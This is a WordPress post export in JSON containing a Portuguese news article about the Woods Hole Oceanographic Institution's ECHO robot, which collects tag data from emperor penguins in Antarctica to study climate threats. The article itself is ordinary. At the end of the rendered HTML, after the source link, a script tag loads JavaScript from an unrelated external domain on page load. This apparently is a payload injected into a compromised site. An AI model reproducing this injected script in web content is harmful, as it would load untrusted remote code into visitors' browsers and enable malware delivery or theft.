{"id":715,"date":"1969-12-31T21:00:00","date_gmt":"1970-01-01T00:00:00","guid":{"rendered":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/robo-vive-com-pinguins-na-antartida-para-os-salvar-de-serem-extintos\/"},"modified":"1969-12-31T21:00:00","modified_gmt":"1970-01-01T00:00:00","slug":"robo-vive-com-pinguins-na-antartida-para-os-salvar-de-serem-extintos","status":"publish","type":"post","link":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/robo-vive-com-pinguins-na-antartida-para-os-salvar-de-serem-extintos\/","title":{"rendered":"Rob\u00f4 &#8216;vive&#8217; com pinguins na Ant\u00e1rtida para os salvar de serem extintos"},"content":{"rendered":"<p> <br \/>\n<\/p>\n<div>\n<p>A Ba\u00eda de Atka, na Ant\u00e1rtida, \u00e9 o habitat de milhares de pinguins-imperadores que, agora, convivem com um estranho visitante: um rob\u00f4 aut\u00f4nomo de 1 metro de altura. Mas, o intruso n\u00e3o est\u00e1 no local \u00e0 toa. Seu objetivo \u00e9 substituir os humanos em pesquisas com os animais e conduzir outras medidas para os proteger das amea\u00e7as causadas pelas mudan\u00e7as clim\u00e1ticas.<\/p>\n<p>O projeto \u00e9 uma iniciativa do Woods Hole Oceanographic Institution, baseado em Massachussets (EUA), dedicado a estudos da vida marinha. Batizado de ECHO, o rob\u00f4 foi colocado em uma col\u00f4nia de pinguins para se mover silenciosamente entre eles, sem assust\u00e1-los ou afet\u00e1-los em seus comportamentos, e armazenar o m\u00e1ximo de informa\u00e7\u00f5es sobre eles.<\/p>\n<p>Ele funciona como um ve\u00edculo terrestre n\u00e3o tripulado e controlado remotamente pelos cientistas. O recurso conta com uma antena m\u00f3vel que transmite dados a um observat\u00f3rio distante que monitora cerca de 300 pinguins a cada ano.<\/p>\n<p>O esfor\u00e7o dos pesquisadores busca encontrar meios de evitar uma poss\u00edvel extin\u00e7\u00e3o dos pinguins no Polo Sul do planeta. De acordo com um estudo publicado em 2021 pela Global Change Biology, 98% da popula\u00e7\u00e3o de pinguins-imperadores poder\u00e1 desaparecer at\u00e9 2100, se as emiss\u00f5es de gases de efeito estufa continuarem a aumentar nos n\u00edveis atuais, levando ao aquecimento das temperaturas e ao derretimento do gelo marinho da Ant\u00e1rtida.<\/p>\n<p>&#8220;Os pinguins-imperadores vivem em um equil\u00edbrio delicado com seu ambiente. Se houver muito pouco gelo marinho, os filhotes podem se afogar quando o gelo se romper mais cedo. Mas, se houver muito gelo marinho, as viagens de forrageamento [busca e a explora\u00e7\u00e3o de recursos alimentares] se tornam muito longas e mais \u00e1rduas, e os filhotes podem morrer de fome&#8221;, apontou a autora do estudo Stephanie Jenouvrier, ecologista de aves marinhas e cientista associada a Woods Hole Oceanographic Institution, em um comunicado.<\/p>\n<p>Os pinguins-imperadores tamb\u00e9m servem como esp\u00e9cies sentinelas, pois seus comportamentos e organiza\u00e7\u00f5es ajudam a revelar se algo est\u00e1 errado em seu ecossistema, especialmente se o problema est\u00e1 ligado \u00e0 crise clim\u00e1tica. Como a Ant\u00e1rtida n\u00e3o \u00e9 o lugar mais f\u00e1cil para os cientistas acessarem, o rob\u00f4 ECHO pode realizar suas expedi\u00e7\u00f5es no local sem afetar negativamente as col\u00f4nias.<\/p>\n<h2>Estrat\u00e9gia<\/h2>\n<div class=\"photoembed-wrapper\">\n<figure class=\"photo photo-embed no-gutter col-sm-24  crop-750x421 limit-crop  figure\" style=\"max-width:750px\" data-format=\"horizontal\">\n<div class=\"image bg\">\n<div class=\"placeholder\" style=\"max-width:750px\">   <img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/conteudo.imguol.com.br\/c\/noticias\/63\/2022\/05\/04\/robo-echo-em-suas-expedicoes-pela-antartida-1651679181041_v2_750x421.jpg\" class=\"pinit-img\" alt=\"Rob\u00f4 ECHO em suas expedi\u00e7\u00f5es pela Ant\u00e1rtida.  - Divulga\u00e7\u00e3o\/Woods Hole Oceanographic Institution - Divulga\u00e7\u00e3o\/Woods Hole Oceanographic Institution\" data-crop=\"{&quot;xs&quot;:&quot;450x253&quot;,&quot;sm&quot;:&quot;750x421&quot;,&quot;md&quot;:&quot;600x337&quot;,&quot;lg&quot;:&quot;750x421&quot;}\" width=\"750\" height=\"421\"\/>  <i class=\"placeholder-mask\" style=\"padding-bottom: 56.13333333333333%\"\/><\/div>\n<\/div><figcaption class=\"container bottom-title\">\n<p>Rob\u00f4 ECHO em suas expedi\u00e7\u00f5es pela Ant\u00e1rtida. <\/p>\n<p> <span>Imagem: Divulga\u00e7\u00e3o\/Woods Hole Oceanographic Institution<\/span><\/figcaption><\/figure>\n<\/div>\n<p>Os cientistas marcam 300 filhotes de pinguim por ano com um sistema semelhante ao de como c\u00e3es e gatos s\u00e3o microchipados. O prop\u00f3sito deles \u00e9 analisar o estado de sa\u00fade dos pequenos atrav\u00e9s de uma fiscaliza\u00e7\u00e3o de longo prazo. Com tiras de fitas simples e inofensivas, os pesquisadores prendem os sensores nas pernas dos filhotes, enquanto os pais est\u00e3o ausentes para ca\u00e7ar.<\/p>\n<p>O uso integrado desses recursos e de outros sistemas de identifica\u00e7\u00e3o por radiofrequ\u00eancia, contribuem para o monitoramento remoto dos pinguins. Mas os sensores usados nos filhotes s\u00f3 podem ser lidos a cerca de um metro ou dois de dist\u00e2ncia. Ent\u00e3o, o rob\u00f4 ECHO entra em cena e funciona como uma esta\u00e7\u00e3o receptora sem fio, recuperando automaticamente os dados dos sensores dos pinguins.<\/p>\n<p>Essas informa\u00e7\u00f5es s\u00e3o encaminhadas ao Observat\u00f3rio \u00danico de Observa\u00e7\u00e3o e Rastreamento de Pinguins (SPOT, na sigla em ingl\u00eas), localizado pr\u00f3ximo da col\u00f4nia. Com essa estrat\u00e9gia, os especialistas podem obter dados mais precisos dos pinguins marcados dentro de uma popula\u00e7\u00e3o de 20 mil deles, sem depender do observat\u00f3rio.<\/p>\n<p>Com esses materiais, \u00e9 poss\u00edvel estudar a maneira como os pinguins se adaptam ao ambiente que sofre mudan\u00e7as graduais devido \u00e0s mudan\u00e7as clim\u00e1ticas. Os sensores tamb\u00e9m ajudam a localiz\u00e1-los quando se aventuram em busca de alimento e mergulham no gelo dos oceanos, al\u00e9m de prever suas t\u00e1ticas de forrageamento.<\/p>\n<p>Para Dan Zitterbart, cientista da Woods Hole Oceanographic Institution, o projeto auxilia nas medidas de prote\u00e7\u00e3o das faunas amea\u00e7adas pelo derretimento do gelo e evitar sua extin\u00e7\u00e3o. E garantir a sobreviv\u00eancia dos pinguins \u00e9 uma tarefa que pode trazer impactos positivos ao futuro do ecossistema.<\/p>\n<p>&#8220;A biodiversidade no Oceano Ant\u00e1rtico \u00e9 t\u00e3o pequena, em compara\u00e7\u00e3o com as regi\u00f5es mais temperadas do mundo, que perder qualquer esp\u00e9cie \u00e9 devastador&#8221;, explicou Zitterbart. &#8220;A evolu\u00e7\u00e3o dos pinguins ser\u00e1 capaz de preencher todos os nichos do planeta e, finalmente, criar animais capazes de sobreviver nesta \u00e1rea&#8221;.<\/p>\n<\/p><\/div>\n<p><br \/>\n<br \/><a href=\"https:\/\/www.uol.com.br\/tilt\/noticias\/redacao\/2022\/05\/05\/robo-convive-com-pinguins-para-protege-los-das-mudancas-climaticas.htm\">Source link <\/a><script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>A Ba\u00eda de Atka, na Ant\u00e1rtida, \u00e9 o habitat de milhares de pinguins-imperadores que, agora, convivem com um estranho visitante: um rob\u00f4 aut\u00f4nomo de 1 metro de altura. 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